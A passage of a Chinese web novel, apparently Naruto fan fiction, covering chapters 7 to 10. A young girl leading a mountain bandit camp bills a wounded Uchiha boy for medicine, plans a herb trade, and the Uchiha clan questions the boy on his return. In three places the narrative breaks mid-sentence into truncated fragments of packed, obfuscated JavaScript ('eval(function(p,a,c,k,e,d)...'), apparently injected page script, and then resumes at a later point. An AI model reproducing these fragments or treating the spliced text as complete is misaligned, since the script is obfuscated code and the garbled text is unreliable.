《基建后忍界核平了》 7. 第 7 章 千代刚喝完一杯蜂蜜水,宇智波灿就醒了。睁眼看到坐在凳子上的千代和她身后的黑女,反应过来的他颤巍巍的抬起手指指着千代:“你、你才是那个色女!” 千代:“……”看不出来啊,长得一副高冷寡言样,心理活动挺丰富的。 但凡没有做点心理挣扎,都喊不出色女这个称呼。 他又指着已经卸掉脸上的毛,虽然还是很胖但起码像个人的黑女,咬牙说:“你们合伙耍我!” 千代一脸无辜的说:“这只是个玩笑。” 宇智波灿吼道:“一点都不好笑!”吓死人了好不!和刚才见到的熊女对比,现在像个人的黑女看起来都眉清目秀起来了好不! 千代叹了口气,说道:“好吧不是玩笑,你可是忍者,我们都是手无缚鸡之力的普通人,只能够靠这点小伎俩给你一点震慑,好获取一点安全感。” 宇智波灿刚听完,就更气了:“不管是说话还是长相,你明显就不是普通人吧!” 什么手无缚鸡之力……没点文化都不知道这是什么意思!宇智波灿好歹是长老之子,他自然不可能是文盲,但这么文绉绉的话还是第一次听到。 就、就真的怪有文化的。 而且从长相气质也明显看的出来千代来历不凡。 千代早就习惯了被‘以貌取人’。她可以自恋的认为自己长得很不错,毕竟她长相随母,她妈妈本就是个人人称赞的大美人。 但她更清楚之所以会被误以为有来历,还是因为她的皮肤和发质状态相比起这里的其他人,区别过于明显。 在这个时代,被认为只有贵女才能养得出这样白嫩的肌肤和健康的头发,气质方面就不用说了,不用特别表现自己,就是一副‘见过大世面’的对什么所谓稀罕事物都见惯了的模样。 尤其她还从黑大他们那里知道,这个世界的人普遍都相信贵族是一种区别于普通人的高贵物种,他们生来高贵,冒犯他们会遭遇天谴。 非常奇怪的,犹如宗教信条一般的认知。即便拥有特殊强大能力的是忍者,众人依旧认为那些怂到需要找忍者替他们打仗的贵族们是不一样的。 甚至很可能连忍者自身也是这么认为。 可转念一想也不觉得奇怪,毕竟在她那个世界,从古至今的奴隶和封建国家都热衷于将皇族王族神化。 在她出生的那个国家,天皇自古就被认为是天照大神的子孙,是神明之子,生来就应该统治那个破小岛呢。 就连中期被武士夺了权,天皇的面子都被踩在脚底下蹭三蹭了,自命于天下之主的将军明面上还得给天皇面子,就连换代都得让人家弄个册封。 天谴?不存在的。可即便如此,到了现代社会还有人相信天皇是神明之子。 她那里不也有异能者?异能者不照样只是作为无异能的普通人手里的一把刀? 所以,对于被误认为是贵女这件事,千代也不去解释和否认。这是一层保护色,不一定是免死金牌,但只要它的用处大于弊端,那就能拿来用。 这次也是一样,被宇智波灿质疑不是普通人后,千代只是道:“看来你很有活力的样子,那么赶紧结完账吧。” “什么结账?”宇智波灿反应不过来,“你不是要强、强……”强娶我吗? 他又不是失忆,压寨小男人这句话他也是知道意思的。 千代嘴角抽了抽,一副很头疼的样子:“这个真的只是玩笑话。” 黑女在一边肯定的点头:“是开玩笑!”她只以为千代是嫌弃这个小忍者胆子小。 千代:“……我才七岁,不需要结婚。”她很无语为什么自己要在这个年纪,被逼无奈的说出这种话。 七岁本来就不能结婚吧! 黑女咦了一声:“有很多还没出生就结婚了啊,我爹妈就是。” 宇智波灿:“除了忍者外,好像大多都挺早婚的。”他们忍者都是晚婚晚育派,过早结婚容易生下没有查克拉的孩子,这是历史经验给出的教训。 没有查克拉的人算什么忍者?只会是家族的负担。 宇智波灿说完切了一声,道:“你说的结账是治伤的钱吧?你要多少?” 千代有点吃惊:“哎,你还真的打算给?” 宇智波灿深吸口气,暴躁的喊道:“不是你让我给钱的吗?!”这个女人真的好烦啊! 要不是觉得这些人不知道自己是宇智波,他都想直接曝光自己的姓氏了。这个世界上还不存在让宇智波掏钱的山贼…… 他观察着千代,左看右看实在是不像什么山贼,也不是普通富足家庭能养出来的样子。 但他也见过一些贵族女性,觉得千代和那些女性又有着说不出的不同。 想到这里,他定了定神,收敛了脸上外放的情绪,表情平静的问:“你姓什么?” “没有姓。”千代一副很好商量的样子,“如果你真的很想知道,我现在给你编一个?” 宇智波灿:“……”我的脾气,真是压不下一丁点。 ——这世界上怎么会有给自己编个姓的人啊!你有毒吧!不怕历代祖先从棺材里爬出来将你拖下地狱吗?! 来回几次,有些没脾气的宇智波灿看起来好像是霜打了的茄子,透着一种虚弱的无力。他闭着眼睛挥着手说:“多少钱赶紧说,我赶着回家呢。” 要不是中途被那几个忍者绊住,他现在早就回家了。 千代却是歪了歪头,似乎在思考。宇智波灿深吸口气,耐住脾气的道:“你又想开·什·么·玩·笑。”从牙缝里一个字一个字挤出来的。 “没有,我就是在……因为以前没思考过这个问题……”千代看向了黑女,“诊金还有药,加起来值多少钱?” 黑女懵了:“啊?要钱的吗?”不是随便用,没了就去山里采的吗? 千代:“他不是寨子里的人,当然要给钱吧。” 黑女哦了一声,说要去问黑夫。山里就只有黑夫经常下山采买一些靠自给自足弄不到的东西,比如盐和针之类的。 黑夫很快就来了,他长得很有特色,最有特色的就是他有个看起来像是怀孕了几个月的大肚子。第一次见面的时候,因为饿瘦了的缘故,千代还以为他是得了血吸虫病,在吃喝管够后,他的身材横向发展,肚子还在,看起来就像是普通的啤酒肚。 哦,虽然这个世界没有啤酒。 黑夫进来后,看也不看宇智波灿,而是对千代说:“小的算了一下,他应该支付五十两。我还给抹了零头。” 千代也不知道五十两是什么购买力,她只是微微皱着眉,说道:“你确定是两,不是金?” 黑夫摇手:“五十金都够买下这整座山了。”其实五十两已经是天价了。 一个鸡蛋才两钱,五十钱够买一升最下等的白米,糙米就更不用说了。一万钱才等于一两。一个家里只要有十两,都算是远近闻名的富裕人家了。 黑夫之所以开出这个价格,也是因为他知道——忍者有钱。 除了贵族以外,忍者可谓是这个世界收入最高的群体,一个忍者家族的家底说不定比城主,比一个小大名还多呢。 千代看着黑夫,她虽然不知道具体物价,但也知道黑夫开的是高价。而且还知道对方并不是漫天开价,而是因为某种在这里不能说……至少在小忍者面前不能说的原因。 不知道是因为忍者真的有钱,还是因为千代说的‘确定是两不是金’这句话把他吓到,生怕涨价,反正宇智波灿很爽快的从夹层口袋里掏出一个沉甸甸的钱袋,从里面数出五十枚小判金后,里面就剩下可怜的几个小判了。 他将小判放在室内唯一的桌子上,起身就准备离开。 ——是的,这些山贼没给他脱掉鞋子就放在床上了。 似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他下意识的看向千代。千代知道他在想什么,说:“这是算在你药费里面的,你不喝吃亏的是你。听说忍者鼻子很灵,应该闻得出来里面没问题吧。” “……啰嗦。”宇智波灿脸微红。 因为他身上也敷着药膏,一身药味,不然早就发现了土灶上有药汁了,毕竟这味道是真的闻着就苦,想忽略都难。 他还能闻出来药汁里面用的是很珍贵的材料,甚至还有人精的气味。他没吃过人精,他只是在族里的药库里见过,是一种外形像人形,有很多长须的土黄色的药材,听说这个能救命。 别说整个吃了,就算只是一根须子都有很补的药效。 这么一碗药里竟然放了人精。 宇智波灿顿时觉得自己占了大便宜,他不是傻子,听得出来这个寨子里不缺好药材,那个终于变成人的黑女甚至不知道药是多么珍贵的东西。 至于自称是千的这个神秘女人估计连小判都没怎么见过,只对金子有认识。 ——人精对他们来说是很普通的东西吗? 只要想到这一点,宇智波灿连忙仰头喝掉药汁,苦涩的味道充斥味蕾,全神贯注让自己不要吐出来的宇智波灿,总算压下了他那占了大便宜的心虚。 ——才五十两,太便宜了。 虽然用掉了这次任务的酬劳,但他相信族人如果知道这钱是用来救他的命,是不会有意见的。 宇智波一族向来重视族人,就算黑夫开价五百金,族人也只会觉得值得。更别说用的还都是这么珍贵的药。 喝完药汁,千代就抛过来一个袋子。袋子没有束紧,宇智波灿看清了里面装的东西——满满都是糖。 还是蜂蜜做的,应该还加了点止咳防感冒的药。 千代:“给你甜甜嘴的,这也算是一种苦尽甘来了。”她似笑非笑的对小忍者说,“祝你回程一路顺利。走吧,别让家人担心了。” 宇智波灿愣愣的看着她,脸上又再次出现了像他这个年纪该有的无措之态。似乎是不太适应被族人以外的人这么对待,意外老实的点了点头,说:“好。” 眨眼间,他的身形一晃,就消失在了几人的视野。 8. 第 8 章 宇智波灿走之后,黑女见没自己什么事就出去了,唯独黑夫留了下来。千代没有理会他,而是像扫灰尘一样将桌子上的小判扫向一边,喝着已经重新倒满的蜂蜜水。 黑夫只是在原地弯腰站了几分钟,果然沉不住气的说:“小的是负责下山采购生活用品的,经常一去就是一两个月,因为小的去的不是村子们定期合办的集市,而是去很远的城里。寨子里的大家会问我,为什么我要这么费事?去城里的路并不安全,不仅有野兽,还有比野兽更可怕的人,明明采买的只是一些很普通的东西,城里的也不一定比集市或者村里卖的好,甚至还更贵。” 黑夫说着扯开他的衣襟,露出他的肚皮,肚皮上有一道几乎将他的身体横切成两半的大伤疤,歪七扭八的像是蜈蚣一般趴在他的肚皮上,看起来可怖又狰狞。 那不是野兽的爪子或者牙齿能够造成的伤,应该是被人类持有的利器所伤,只是后续缝合的手法太糟糕才会变成这副样子。 千代仅是淡淡的抬眸瞥了一眼,神色如常。这道让寨子里的大人看了都会心惊的伤疤,在她眼里好像是没什么大不了的事。 黑夫观察着她的反应,非但没觉得千代的表现很冷酷,脸上还多了一道堪称是喜悦的笑容。 他继续说:“山里很好,虽然因为孩子多,为了他们的安全必须留下不少人看着,去打猎采摘的人就少了,所以每年总会有几个月过得像千大人您第一次来时看到的,那么糟糕的饿得快死掉的窝囊样。” 因为能出外的人少,每次带回来的东西就少,虽然有意识的去储存肉干菜干,但数量依旧不多。 每逢糟糕的天气和冬季时,他们就只能靠着那稀少的存粮苟延残喘的度日。日复一日,年复一年。 能保证寨子里的人口不因为这几个月而大量减少,已经足以证明这些大人们的本事了。可更多的就没办法了。 千代没有直白的讽刺‘既然知道孩子多会是一个巨大的负担,为什么不少生一些’。即便是她也知道,这种话说了没用,更甚至说出口了,反而会让人觉得奇怪。 在这个落后而残酷的时代,人活着其实和刚智过的野兽没什么区别。即便生活再困难,繁衍依旧是他们的本能。 他们会认为男人会让女人一个接一个的生孩子,就是一件很正常的顺应自然的事情。神叨叨一点的说法,这就是神明的旨意。 生下来能不能活,孩子是丢弃甚至更残酷的弄死,也是要先生下来再说。他们没有‘负担重就少生孩子’的概念。 就跟野兽们一样,每一年都有发情期,发情期后怀孕了,自然是要将幼崽生下来的。至于是照顾幼崽或者丢弃掉,那都是生下来之后的事情。 ——这些人,这个时代环境,人的物质需求无法得到很好的满足,繁衍就成为了一种扭曲的被视为是精神需求的存在。它可以是一种娱乐,也可以是一种支撑自己活下去的力量。 ——大家都是这样的。 ——大家都是这样过来的。 读过书的人是这么想的,全是文盲的寨子里的人,也是这么想的。 千代依旧没有说话,而黑夫看起来也不需要她说些什么。他继续道:“我去城里,是因为我知道不能再继续这样下去了。寨子里最大的孩子才九岁,最小的孩子才出生没几天,以后还会有更多的孩子出生,而我们编造的‘山上有忍者’这个谎言,八年过去了,就算这里再偏僻,也迟早会传到其他地方,甚至是城里去。知道的人越多,这座山就越不安全。所以,我必须去城里,至少那里的人消息灵通,我会和那里的小贩店家打听,知道的事情越多,我觉得是越好的。” “你倒是有点聪明。”千代只是说出这句话。 光是这句话,就足以让黑夫激动得脸都红了。 千代倒不是想借着夸他好满足对方的倾诉情绪,以获取更多情报。她是真心认为黑夫是聪明的,别看他面上看着有三十多岁的模样,其实才十八岁,比黑猴还小。 定居在这座山的时候,他也才十岁。而且,听黑猴有阵子闲聊时说过,因为胖(有肚子)的关系,黑夫在寨子里的女人那里可是很受欢迎的,寨子里本来就男多女少,不是每个男的都能有对象,有女人看上他是件大好事。 因为太瘦而无人问津的黑猴可羡慕这点了。 但黑夫却拒绝了所有示好,单身到现在。 他没有孩子,父母兄弟姐妹也早在流浪的时候去世,孤家寡人一个。他以前是个村子里再普通不过的小文盲,到了山里成为了一个山里的文盲,看寨子里其他人就知道,他们可都是过着有一天算一天的日子。 就偏偏出现了一个黑夫,他竟然考虑到了以后。去城里打听,担心‘山上有忍者’这件事引来危险……这些事情肯定不是别人告诉他的,而是他自己琢磨出来的。 千代:这个寨子能平安至今,除了有医术高明的黑杏,有打猎或野兽袭击寨子时永远第一个冲在最前面的黑大,也是因为有黑夫这样的聪明人吧。 黑夫:“我打听到了一个消息,和刚才让那个小忍者出五十两有关系。” 千叶看起来对这个话题要感兴趣一点:“请起来五十两并不便宜。” 黑夫点头:“就算是在城里,在最好的医馆中,把他的伤势治好最多最多也就要十两。就算我们用了那么多药,也一样。十两对于普通人来说已经是倾家荡产都很难凑够的天价。” 千代:“但我看那个小忍者,还觉得五十两是占了大便宜。” 黑夫:“是的,因为对忍者,用的是另外的价格。” “哦?”千代挑眉。 黑夫:“对普通人来说,忍者和恶鬼差不多,他们是一群只会打仗的恶鬼,他们不会管被牵连进来的普通人,杀人如麻,将普通人的命当成野草一样践踏。所以大多数人很讨厌忍者。相对的……忍者也不会主动搭理普通人。” 他道:“忍者是不会去普通人开的医馆,因为他们很少进城,在野外受伤,只要有一口气都会爬回自己的家族,因为只有那里才有人会治疗他们。而……天底下所有的药材店都知道,不能随便卖药给忍者。只有被大名指定的一些商人,才会卖药材给忍者,他们会将里面一些药草磨碎成粉,让忍者看不出原来的样子,然后用常人不敢想象的天价卖给他们。” 千代点了点头,问:“忍者们不会有意见吗?他们会忍术,不会反抗吗?” 黑夫:“忍者很少进城,不同忍者家族的关系很恶劣,因为只要给钱,就算是家人他们也可以眼不眨的杀掉。所以这些商人都会雇佣很多打手保护他们,专门去离忍者的族地近的地方等待,忍者们的消息灵通,他们会派人去买。很贵,但去城里买对他们来说可能更危险,因为进城的话人很多,他们会害怕被其他忍者当成猎物杀害。而商人们的药虽然很贵,他们很能赚钱,会甘心买。” “那你说的就不全对了。”千代说。 黑夫:“咦?” 千代:“他们不是因为不敢反抗大名才接受了高价的药材,而是为了家族的安全才用高价的药材。” 黑夫疑惑:“这里面有什么不一样吗?” 千代把玩着杯子的边缘,说道:“差别很大。如果出现一伙卖得便宜的药草商人,他们会选择和这个商人做生意。” 黑夫:“哎?”他小心的看着千代的面色,就像是想反驳又怕对方生气。见对方依旧是那么平静的模样,这才大着胆子说,“但那些大商人有本事和忍者做生意,背后肯定有大名做靠山。如果有人卖得便宜,他们只会合起来针对这个商人。” 说着,他似乎想起了什么,摸了摸自己肚皮上的伤:“我第一次进城的时候,因为不知道物价,把带去的药草便宜卖给一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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即便大家都相信贵族和平民是不一样的,平民和忍者说穿了,在贵族面前不过是低一等的贱民而已。但贵族没有忍者那样强大的力量,他们养的武士,在三岁忍者面前都不够看。 可贵族也分等级的。 最高级的贵族——天皇一族,被视为神明的子孙,天皇则是神明的化身。 最高等级的天皇家族……拥有强大的力量也是正常的吧?是不需要思考都可以给出肯定的答案。 那么、那么……那么面前的千代是不是就…… 黑夫用力咬了一下舌尖,跪在地上低着头,不想被对方看到自己现在的脸色。因为他觉得如果被看到了,会让千代厌恶,会让对方抛弃这个山寨。 这怎么可以? 他知道这座山不能久待,所以他每年都会增加去城里卖山货的次数,悄悄攒钱,想有朝一日带着大家下山,去城里生活。只要有钱,那就能在城里活下去。 但是……但是这座山,这座山曾经是属于一个城的。 二十年前,在这座山的下面,有着远近闻名的一座大城,城里的大名何等威风,这座城出名得连他们在逃离原来的村子前,在那么远的地方都听闻过。正因为如此出名,所以当初逃的时候他们都是朝着这个方向,想寻求庇护,想着就算是在城外落脚都是安全的。 可是这么大的一座城,被忍者轻而易举的毁灭了。 残留下来的人建立起的几座村庄,又被几个忍者轻而易举的毁灭了。 就算是他们整个山寨的人都搬进城里,谁知道哪天会不会也莫名其妙的死去,卷入忍者,卷入大名的战争中死去? 摆在面前的根本没有一条安全的路。 待在山上,迟早会死。 去城里,迟早会死。 那、那如果追随面前这位可能有天皇血统的皇室之女,这位因为不知名原因来到这里的皇女……就算未来也是一条死路,可最起码比前面那两条要安全一些。 这可是——拥有力量的皇室之女啊,普天之下最高等的贵女啊! 黑夫脑海里心思涌动,翻涌如潮,但他摆出了比之前恭敬的模样更为恭顺的,甚至是卑微的道:“回千大人,宇智波家族,是天下最强的两大忍者家族之一,是与千手家族齐名的,被诅咒的一族。” 9. 第 9 章 关于宇智波的传闻不多,这是一个十分神秘的忍者家族,而神秘的原因并非他们不够活跃,而是——见过他们的人基本都死了。 仅剩的见过他们还活着的人,也就只有千手家族。 “宇智波擅长控火,千手擅长控水,两个家族一直是不死不休的宿敌,如果哪个大名雇佣了其中一族,那对手就必须雇佣另外一族才能对抗。而传言,宇智波的族人性格很极端,他们还有可怕的能够看穿人心控制他人灵魂的写轮眼,每个觉醒写轮眼的宇智波都像是被诅咒的疯子一样可怕,见人就杀。” 黑夫是这么说的,但千代却道:“你觉得刚才见到的那个小忍者像个疯子吗?” 黑夫卡壳。千代又道:“如果见过宇智波的人都得死,那为什么他没有对我们出手,甚至还乖乖的给了钱。明明他们也知道,卖给忍者的药价格是虚高的,你提出的价钱也不低,他知道这一点,但还是乖乖给了不是么?” 黑夫:“可、可能因为他以为我们不知道他是宇智波?” 千代轻轻的叹气:“那他们找商人买药材,肯定是派族人去的,那些商人怎么还活着?且大名要雇佣他们打仗,如果派去的人被杀了,谁又会雇佣他们呢?” “……蒙、蒙住脸?”黑夫试探的问。 千代:“可能吧。但传言终究还是夸大了,而且……夸大到就连你去城里随便找个小贩店家都能问到的事情,要说背后没有人故意散播这种消息才不合常理吧。” 黑夫:“您的意思是——有人故意传播宇智波家族被诅咒?但、但会是谁呢?这么做有什么用处……难道是千手家?” 千代:“也可能是宇智波家。又可能是大名。谁知道呢?如果真的觉醒写轮眼就会变成疯子,那为什么这些疯子不杀死自己的族人呢?疯子是没有理智可言的,互相残杀,直到所有人都死掉才会停止吧。” 黑夫显然很好奇,但看千代一副厌倦的模样,还以为对方是累了,连忙打住。说:“可、可能是因为宇智波家族很重视族人吧。” “哦?” “凡是敢对宇智波家族的人出手,都会遭遇整个家族不计代价的报复。这也是我听说到的。” “这样啊……”千代想起那几个死在宇智波灿手里的忍者,说的话确实也验证了这一点。至少在普世人眼中,这个家族十分的团结。 “我累了。”千代道,“你退下吧。” “是,千大人!”黑夫转身,刚要踏出门外,听到身后的千代说,“不,你先等一下。” “千大人?”黑夫又连忙回来。 千代:“去统计一下仓库里还有多少药材,种类和数量,我需要详细的数据。还有,让寨子里所有能动的人分工,采药、加工、晒药,数量越多越好。” 黑夫脸上带着迷茫:“您这是打算做什——” “你在问我?”千代打断他的话,微微侧头用冰冷的眼神看着他,“这是命令,这个答案足够了么?” 黑夫下意识的扑倒在地上,瑟瑟发抖的低着头说:“是!是!小的肯定会让他们照着做。” 千代继续道:“如果人手不够,那就去买一些人回来吧,世道这么乱,总不会没有自卖自身的人吧。” 黑夫:“是,我在城外经常看到愿意将自己卖给有钱人做家仆的人。那、那要买多少?” 千代:“这种小事我怎么知道。反正尽量买带着三岁以下孩子的家庭,不然就买女人,不要买独身一人的男人。还有,装药材需要用到的袋子,也要多买一点。” 说着她敲了敲桌子,说:“这些小判就交给你了,我不管你要怎么使用它们,我只要结果。” 非常——乱来的人。 就像是随口吩咐一般,既没有给出具体需要的数量,也没有说出具体要买的仆人数量,没有考虑新来的仆人他们寨子养不养得起,更没有想过寨子里的人听到她的吩咐后会不会不乐意。 就像是一个早就习惯了发号施令,只看结果不看过程,具体的工作全都丢给仆人去打点的……贵族。 就像是——办得好是正常的,办不好……那就是仆人失职。该怎么得到千代满意的结果,应该是仆人自己去思考的问题。 黑夫拿走了五十个小判,出去后就将寨子里所有人都集合在一起,向他们宣布了千代下达的命令。 不知道是怎么说服他们的,在黑夫出去后没一个小时,寨子里的人全都热火朝天的行动起来,三岁以上的孩子已经懂事,他们也不玩闹了,也有模有样的帮起了大人。 这些动静千代在屋里都能听见,寨民们手工制造出来的木屋,不仅会漏风,隔音也是几近于无的。 千代并不意外他们会如此听话。这个寨子看似彼此间很平等,有话直说直来直往,但他们内部其实都有分工。 比如黑大平日里有点像个老好人,谁家吵架了,谁家的屋子坏了,又或者有什么纠纷,他就像个夹心饼一样在中间做调和,但只要他做出最终决定,不管大家满意不满意,都会听从他。 比如黑杏是寨子里最权威的医生,她自己没事也喜欢捣鼓一些药,做出来的成品随便拉一个人做试验,对方都会乖乖配合,即便是因为药出了些问题,也不会有人怪罪她。 再比如……寨子里的人并非千代来的第一天就想着赖上她,最开始的几天她就像是尊不请自来的大佛一样,大家迫于武力差距只能够认命的伺候她。但后来却变成了,希望她能够长久留下来,成为寨子里的老大。 ……这个转变,是黑夫导致的。是他最先说出了推举千代为老大,大家成为她的手下的话,大家相信他的判断,全都同意这一点,更甚至主动积极的去讨好千代。 这些人没学过管理学,他们只是凭借着自己的经验,在某方面选择去相信这方面擅长的人,相信了就不会去怀疑,就算中间出现了问题,也不会有怨言。 这也算得上是某种程度上的死脑筋。而这份死脑筋,便是他们能编造出‘山上有忍者’的谎言,长达八年都没有被山下人识破,在这里繁衍生息的原因。 在太阳快下山的时候,千代又喊来了黑夫。对这个比之前更加恭敬她的黑夫说:“去买仆人的时候,你也去城里打听一下有没有大的药材商人队伍进城。如果那些商人进城后,没有联系药店卖药,而是反过来跟他们购买药材的话,你就立刻回来告诉我。” 黑夫张了张嘴,好像是想询问千代为什么要这么做,但下一秒又反应过来似的低头道:“是!千大人。” 千代对他的反应很满意,说:“去吧。如果这次没有打听到,等送仆人们回来后,你就去城里租个房子住着,直到那个商队出现为止。” 另一边,宇智波族地。 族长宇智波田岛的小儿子,时年十二岁的泉奈正在处理着族务。是的,因为父亲出门了,大哥在做训练,处理族务的事情就交到了泉奈手里。 但其实也不是什么复杂的事情,重要的工作他的父亲在临走前就处理完毕,留给泉奈的不过是一些没什么难度的小事。 其实这些工作本来应该是交由他的大哥宇智波斑处理的,而斑的潜力之大族人有目共睹,众人皆相信他迟早会是族内最强之人。但是……就连田岛都不得不承认,如果让斑来处理这些族务,估计会表现出和战斗天赋完全不相符的零分成绩吧。 无奈之下,泉奈只好接手这些原本应该是由作为下任族长的斑应该提前准备学习起来的事务。 此时的泉奈正一手握着毛笔,一边打着算盘一边在白纸上书写,他在计算着这个月该分发给族内伤残人员和五岁以下孩子的补助物资。 虽然宇智波家族每次接手的基本是打仗这类的大单,但类似护送贵族富商,又或者替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宇智波灿是二长老的独子,同时也是泉奈的堂弟。虽说以血缘来算的话,他们仅是拥有同一个爷爷,已经算得上比较远,但在宇智波族人看来已经是很近的血缘关系。 嘛,其实他们内部通婚的,族内人认真算起来,大家的血缘关系还挺混乱。而宇智波灿的二姨还是泉奈的二叔婶。 要说宇智波灿是二长老的独子,认真说起来并不特别准确,他本来是有四个兄弟姐妹的,但都死了,就剩下他一根独苗。就跟泉奈是族长小儿子也不算准确一样,族长宇智波田岛有五个儿子,活下来的仅有斑和泉奈。 其他三个,都死在了千手族人手中。 泉奈对宇智波灿回来这件事没什么反应,出完任务回来是应该的,但这次不一样,家忍吞吞吐吐的说:“灿少爷……在大门前抱着一个糖袋子在哭,嘴里喃喃着‘我的糖,我的糖……’” 泉奈:??? ——那听起来确实很不正常的样子。 泉奈:“真的哭了?” 家忍点头:“眼眶都红了,还觉醒了写轮眼。” 泉奈:?!! ——那你怎么不说! 眼眶红了对于隐忍的宇智波而言,和常人泪流满面没有区别了。但是—— “这个臭小子!”泉奈丢下笔和算盘,一把抓起旁边刀架上的长刀,咬牙切齿的往大门方向跑,“平日里在外丢脸也就算了,竟然为了一点糖觉醒写轮眼,他还能更不宇智波一点吗?!” 对于一个宇智波而言,最侮辱性的话大概就是‘你不像个宇智波’。如此就可以看出来泉奈现在多生气。 他都这么气了,也能理解为什么家忍说宇智波灿觉醒写轮眼时,那欲言又止的为难表情。 不是每个宇智波都能觉醒写轮眼,而且觉醒的年龄不一,有的婴儿时就觉醒了,有的比如宇智波斑,十五岁才觉醒。 但是,但是那么多觉醒的原因,绝对不包括——‘因为一些糖而觉醒’。 就算这个原因放在全员甜党的宇智波家族里也算是个大甜党的宇智波灿身上,也不行! ——太丢人了! ——被辣鸡千手家知道的话,宇智波家的威名就被玷污了! 10. 第 10 章 是三堂会审,宇智波灿缩着头跪在下面,正前方坐着的是代表族长家的宇智波斑,左前方坐的是宇智波泉奈,右前方则是他亲爹二长老和族内其他长老。 大家的面色一个赛一个的难看,尤其是他亲爹,脸色黑如锅底。宇智波灿期盼的看向泉奈,但速来脾气温和与他关系很好的泉奈,却是冷哼一声别开头,对他的求救视而不见。 宇智波灿:?!! ——大受打击! 泉奈斜眼看着这时候都不老实的宇智波灿,尤其是对上他那双现在都没恢复原样的写轮眼,内心的火气就更足了。 ——竟然还是二勾玉! 诚然才七岁的宇智波灿能开眼是一件大好事,也更能说明他是个天才,谁会因为族内出个天才而动怒?更别说对方现在身上还带着伤,刚才医忍简单检查过,虽说恢复得很好,但确实是受了命悬一线的致命伤。 就这小子交代,是他做完任务负伤回来的路上被一伙有备而来的浪忍偷袭了,对方是接到了要将他活捉的任务。 宇智波并非第一次听说这种事,想知道写轮眼秘密的人大有所在,而除了写轮眼之外,其他拥有血继限界的忍者家族也常遇到这类绑架事宜。 有一些弱小的血继限界家族甚至因此被灭族,残存人员只能伪装成普通人融入大众之中,可普通人对忍者的恨意是常年积累下来深刻入骨的,一旦不小心暴露就会遭遇无止尽的追杀迫害。 更甚至泉奈知道在几百年前,世界上还流传着吃了强大忍者的肉能增强实力或者长寿,那段时间可谓是忍者的黑暗期,还出现了一种专门猎杀或者偷尸体的‘忍者猎人’,甚至就连死去多年的忍者尸体都难逃一劫。 若不是有些脑子清醒的忍者家族默契的开始满世界追杀这类的猎人,用武力大大震慑住他们,让之成为一种禁忌,现在的世道还不知道会怎么样。 可就算食用忍者尸体这种事在明面上已经灭绝,背地里还是会有一些人,而且也有一些忍者想研究血继限界,尤其是被誉为最强血继限界的写轮眼。 因此但凡外出任务受到致命伤,眼见归家无望的已开眼宇智波,都会选择在临死前烧毁自己的身体。 宇智波灿出任务的时候没开眼,被袭击反杀命悬一线的时候没开眼,所以他不用选择这种壮烈的方式将自己烧成灰,但他到了族地就开眼了。 ——因为糖。 宇智波泉奈那按捺下去的,提着刀去找堂弟发现对方受伤而放下刀的那种心情,那股被压下去的怒火再次燃烧,这让他黑色的眼睛瞬息变成了红色,里面的三勾玉在颤抖着,就连抓着刀的手也在微微颤抖。 宇智波灿:“……”他都快把脑袋埋进胸口里的。 其他人:“……”我说这里这么多人可以求救,为什么你偏偏要找气上头的泉奈啊? 要不是因为泉奈动怒了,气氛变得这么奇怪,就你这小子的遭遇,出于同族之情我们肯定不至于这么生气呀。 ——好吧,其实还是挺生气的:) 斑倒是对这点事不在意,对他来说能开眼本就是好事,这代表着家族的整体实力又上升了,可亲爱的弟弟在飚杀气,他不敢给宇智波灿求情。 斑:泉奈生气起来老恐怖了…… 可好歹是下任族长,总不能就这么耗着,斑清了清嗓子道:“灿,所以你开眼的原因是因为……回来才发现你的糖都快被你吃光了?有那么好吃吗?” 他的视线落在了宇智波灿的腰带,那个已经瘪下去的糖袋就在那里。 宇智波灿不动声色的捂住糖袋子,似乎认为斑是想抢他的糖。 斑:……我是很好奇有多么好吃,但也不至于上手抢,你这态度很让人火大耶! 脾气暴躁一点就炸的宇智波·十七岁·斑,额角冒出了青筋。没好气的道:“行了,后面都发生了什么赶紧说!看你这副样子肯定是被人救了吧!” 虽然被救这一点让大家觉得有点不可思议,可也不是没有先例——如果没被发现是忍者甚至是宇智波,也不排除会运气大爆发被普通人救了。 ……哦,没有考虑过被其他忍者救了这种事,这种事发生的概率别说是零,负数(被补刀)还差不多。 大长老是一名看起来性格平和的女性,她柔声说:“而且舍得对你用这么多好药,还让你全须全尾的回来,甚至还给了你糖果,怎么都应该是贵族或者富户的手笔吧。听起来就像是中了幻术呢。” 她开着万花筒写轮眼,直勾勾的盯着宇智波灿,若不是没发现对方身上有幻术的迹象,伤也是实打实的,她真的很难不往这个方向想。 宇智波灿吞吞吐吐的说:“不是贵族也不是富商……呃,虽然也不能排除她是个贵族。但是……救我的是一伙山贼。” 他没有提自己是被当成压寨小夫郎给带上山的,毕竟这话说出来很丢脸,别看他七岁,也是个要脸的。 但除了这件事,其他的都一五一十的说出来,等他说完之后,室内陷入了长久的沉默。 泉奈看上去已经消气了,露出了让宇智波灿熟悉的温和笑脸:“也就是说,你之所以开眼并不是因为那位姬君送给你的糖果被你路上吃了大半,只剩下可怜的两三颗而悲伤过度导致的,而是因为你太迟钝了,等到了族地心才安定下来,回想起自己差点就见不到父亲和族人,才会情绪激动过度开眼的对吧?” 其他人:“……”啊,你果然很在意糖开眼这件事对吧? 对于会在一些莫名其妙的地方就倔起来的泉奈,大家也不是第一次遇到这种情况,所以也没人敢吐槽。 但宇智波灿挠着脸说:“啊……大体上是这样,但是糖也确实很甜很好吃啊。是苦尽甘来。对,苦尽甘来!”他重重的点头,“快到大门的时候想到我竟然活着回来了,而且嘴巴甜滋滋的,想着再吃一颗,却发现都快吃完了,也是一个打击呢。” 咔嚓—— 斑眼疾手快的阻止弟弟,喊道:“冷静点啊泉奈,这小子只是因为差点死了才会脑子糊涂了,你一刀下去他就真的死了!” 泉奈冷冷的看着宇智波灿,冷笑道:“死?他红光满面的还喝了一碗加了人精的药,我被气死之前他都活得好好的!”但凡他脸色苍白一点像个病人,都不至于这么置气! 